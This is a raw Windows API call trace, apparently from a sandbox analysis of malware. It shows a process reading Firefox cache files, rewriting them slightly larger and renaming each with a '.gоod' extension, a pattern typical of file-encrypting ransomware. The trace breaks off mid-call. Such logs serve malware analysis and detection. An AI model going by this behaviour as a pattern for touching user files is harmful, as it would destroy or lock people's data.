[0266.584] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", lpFilePart=0x0) returned 0x7f [0266.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0266.584] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.584] GetFileType (hFile=0x834) returned 0x1 [0266.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0266.584] GetFileType (hFile=0x834) returned 0x1 [0266.584] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x54c [0266.584] ReadFile (in: hFile=0x834, lpBuffer=0x3aafe18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3aafe18*, lpNumberOfBytesRead=0x1fbeb028*=0x54c, lpOverlapped=0x0) returned 1 [0266.631] CloseHandle (hObject=0x834) returned 1 [0267.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", lpFilePart=0x0) returned 0x7f [0267.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0267.707] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0267.708] GetFileType (hFile=0x8a8) returned 0x1 [0267.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0267.708] GetFileType (hFile=0x8a8) returned 0x1 [0267.708] WriteFile (in: hFile=0x8a8, lpBuffer=0x3b8fb80*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3b8fb80*, lpNumberOfBytesWritten=0x1fbeaf38*=0x550, lpOverlapped=0x0) returned 1 [0267.708] CloseHandle (hObject=0x8a8) returned 1 [0267.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", lpFilePart=0x0) returned 0x7f [0267.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6.gоod", lpFilePart=0x0) returned 0x84 [0267.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0267.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4386e489, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4386e489, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9bc713d6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x550)) returned 1 [0267.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0267.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6.gоod")) returned 1 [0267.710] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", lpFilePart=0x0) returned 0x7f [0267.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0267.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3"), fInfoLevelId=0x0, lpFileInformation=0x3b90f20 | out: lpFileInformation=0x3b90f20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430faed6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x430faed6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x430faed6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0267.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0267.710] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", lpFilePart=0x0) returned 0x7f [0267.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0267.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0267.710] GetFileType (hFile=0x8a8) returned 0x1 [0267.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0267.710] GetFileType (hFile=0x8a8) returned 0x1 [0267.710] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x750 [0267.710] ReadFile (in: hFile=0x8a8, lpBuffer=0x3b91a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3b91a68*, lpNumberOfBytesRead=0x1fbeb028*=0x750, lpOverlapped=0x0) returned 1 [0267.711] CloseHandle (hObject=0x8a8) returned 1 [0268.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", lpFilePart=0x0) returned 0x7f [0268.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0268.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0268.650] GetFileType (hFile=0x864) returned 0x1 [0268.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0268.650] GetFileType (hFile=0x864) returned 0x1 [0268.650] WriteFile (in: hFile=0x864, lpBuffer=0x3a5a668*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3a5a668*, lpNumberOfBytesWritten=0x1fbeaf38*=0x760, lpOverlapped=0x0) returned 1 [0268.651] CloseHandle (hObject=0x864) returned 1 [0268.651] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", lpFilePart=0x0) returned 0x7f [0268.651] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3.gоod", lpFilePart=0x0) returned 0x84 [0268.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0268.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430faed6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x430faed6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9c5882b0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0268.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0268.651] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3.gоod")) returned 1 [0268.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", lpFilePart=0x0) returned 0x7f [0268.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0268.652] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), fInfoLevelId=0x0, lpFileInformation=0x3a5ba08 | out: lpFileInformation=0x3a5ba08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8f4c8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4c8f4c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e69094, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x12126)) returned 1 [0268.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0268.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", lpFilePart=0x0) returned 0x7f [0268.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0268.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0268.653] GetFileType (hFile=0x864) returned 0x1 [0268.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0268.653] GetFileType (hFile=0x864) returned 0x1 [0268.653] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0268.653] ReadFile (in: hFile=0x864, lpBuffer=0x3a5bf70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3a5bf70*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0268.654] CloseHandle (hObject=0x864) returned 1 [0268.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", lpFilePart=0x0) returned 0x7f [0268.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0268.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0268.654] GetFileType (hFile=0x864) returned 0x1 [0268.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0268.654] GetFileType (hFile=0x864) returned 0x1 [0268.654] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x12126 [0268.654] WriteFile (in: hFile=0x864, lpBuffer=0x3a5d2b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3a5d2b0*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0268.656] CloseHandle (hObject=0x864) returned 1 [0268.656] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", lpFilePart=0x0) returned 0x7f [0268.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0268.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0268.657] GetFileType (hFile=0x864) returned 0x1 [0268.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0268.657] GetFileType (hFile=0x864) returned 0x1 [0268.657] ReadFile (in: hFile=0x864, lpBuffer=0x3a5f618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x3a5f618*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0272.436] CloseHandle (hObject=0x864) returned 1 [0272.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", lpFilePart=0x0) returned 0x7f [0272.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0272.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0272.436] GetFileType (hFile=0x864) returned 0x1 [0272.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0272.437] GetFileType (hFile=0x864) returned 0x1 [0272.437] WriteFile (in: hFile=0x864, lpBuffer=0x37100d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x37100d8*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0272.437] CloseHandle (hObject=0x864) returned 1 [0272.437] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", lpFilePart=0x0) returned 0x7f [0272.437] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A.gоod", lpFilePart=0x0) returned 0x84 [0272.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0272.437] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8f4c8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4c8f4c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9e98fef9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12136)) returned 1 [0272.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0272.437] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a.gоod")) returned 1 [0272.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", lpFilePart=0x0) returned 0x7f [0272.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0272.438] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329"), fInfoLevelId=0x0, lpFileInformation=0x38d63a8 | out: lpFileInformation=0x38d63a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69183c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x69183c7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x692337c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3c)) returned 1 [0272.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0272.439] GetFullPathNameW (in: 